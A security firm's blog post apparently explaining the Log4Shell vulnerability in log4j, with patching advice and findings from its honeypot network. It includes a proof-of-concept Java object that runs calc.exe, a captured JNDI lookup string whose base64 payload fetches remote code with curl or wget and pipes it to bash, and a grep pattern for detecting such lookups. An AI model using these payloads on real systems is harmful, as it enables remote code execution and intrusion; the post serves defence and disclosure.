Go to content
Search for topics, knowledge, services, etc.

CVE-2021-44228 “Log4Shell”

Blogs
MDR (Managed Detection and Response)
Threat Hunting
14-12-2021

On the 10th of December, a new vulnerability (CVE-2021-44228) in log4j was disclosed. Since the report of the vulnerability, news spread across the internet rapidly. Log4j is the preferred logging component for java applications.  If you are running java applications, the chance is big that this application uses log4j as its logging provider. With about 51 billion that run java and log4j as an “industry standard” logging platform, this vulnerability has a big impact.

The vulnerability (CVE-2021-44228) is critical, as it can be exploited from remote by an unauthenticated adversary to execute arbitrary code (remote code execution – RCE). The criticality of the vulnerability has a score of 10 (out of 10) in the common vulnerability scoring system (CVSS) which outlines how severe the vulnerability is.

Not just logging

How can a logging component have such a big impact? The answer lies in one of the features of log4j. Log4j can be instructed to perform a JNDI lookup. The JNDI API provides discovery and lookup of resources by name and returns the result in the form of serialized Java objects. JNDI provides a Service Provider Interface (SPI) for flexible implementation of the backend naming and directory service protocols. To select the service provider, JNDI follows a URI format allowing provider and name to be specified during the request; for example “${jndi:ldap://example.com/a}”

The LDAP server could return a malicious object like:

public class ExportObject implements javax.naming.spi.ObjectFactory {

public ExportObject() {

Runtime.getRuntime().exec("c:\\windows\\system32\\calc.exe");

}

}

In the above example, a remote code execution attempt, the Windows Calculator is started. Attacker can use this type of remote execution to execute malicious activities (e.g. planting a backdoor, starting e cryto currency miner, starting malware/ransomware, etc.).

The vulnerability can be easily exploited as parameters such as HTTP headers and form fields are logged often in (publicly exposed) web applictaions. Attackers can execute HTTP requests to a webserver with a malicious User-Agent header in it. When this malicious header gets through log4j it will use the JNDI provider to lookup what is in the User-Agent header. The result of the lookup can be java code that executes malware or any other bad software on your environment. 

The demonstrated scenario above is just one of the available scneario’s. Other senario’s such as a data pipeline where the malicious lookups are planted in the data. For example: the lookup is planted earlier by using a front-end application in the database, the pipeline (which uses an application/service that has log4j) could execute the lookup when data processing takes place, and data fields are logged to log4j.

Protecting against log4shell

It is hard to detect and protect from CVE-2021-44228. A common advice is to use a Web Application Firewall to protect your applications from “Log4Shell”. This does protect your environment from some (basic) exploitation of the vulnerability, but this isn’t a full solution because:

  • The Log4Shell exploit doesn’t require your application to be publicly accessible. Internal pipelines and services are also affected by this vulnerability.
  • There is no simple way to filter out malicious requests because Log4Shell payloads can be nested. (see this Github page).

The best way to protect your environment from Log4Shell is by applying security patches for all applicable software in your environment. An overview of security advisories per vendor can be found here.

Our Findings

Wortell has developed its own Honeypot Network called Vidara HoneyNet. In computer terminology, a honeypot is a computer security mechanism set to detect, deflect, or, in some manner, counteract attempts at unauthorized use of information systems. Generally, a honeypot consists of data (for example, in a network site) that appears to be a legitimate part of the site and contain information or resources of value to attackers. It is isolated, monitored, and capable of blocking or analyzing the attackers. This is similar to police sting operations, colloquially known as “baiting” a suspect.

From the 12th of December 2021, Wortell observed multiple attack attempts in Vidara Honeynet. Those attacks were mainly focused around our honeypot that simulates a citrix environment. These attack attempts used a query string parameter that was using the JNDI prodiver with a base64 encoded payload in its lookup value. The intention of this payload is to report a vulnerable server or start a remote shell attack.

The querystring with a payload Wortell observed was:

/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1
cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC9bcmVkYWN0ZWRdOjgwfH
x3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0L1tyZWRhY3RlZF06ODApfGJhc2g=}

The encoded base64 string in the above payload is:

(curl -s 195.54.160.149:5874/[redacted]:80||wget -q -O- 195.54.160.149:5874/[redacted]:80)|bash

The above payload can be used to report a vulnerable server to the adversary or execute a reverse shell attack. A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the attacker’s host.

Our recommendations:

  • Get an overview of systems and software using log4j in your environment. This can be a time-consuming task, but you need to know what is impacted before you can execute remediation activities.
  • Apply the corresponding security patches for internet-facing software/devices immediately.
  • Apply the corresponding security patches for internal software/devices at your earliest convenience
  • If patching is not possible for whatever reason, we strongly recommend isolating the system from the Internet and/or disable lookups through JNDI.
You may check for exploitation attempts in your web server logs using the following Linux/Unix command: “sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/”

Helpful links and sources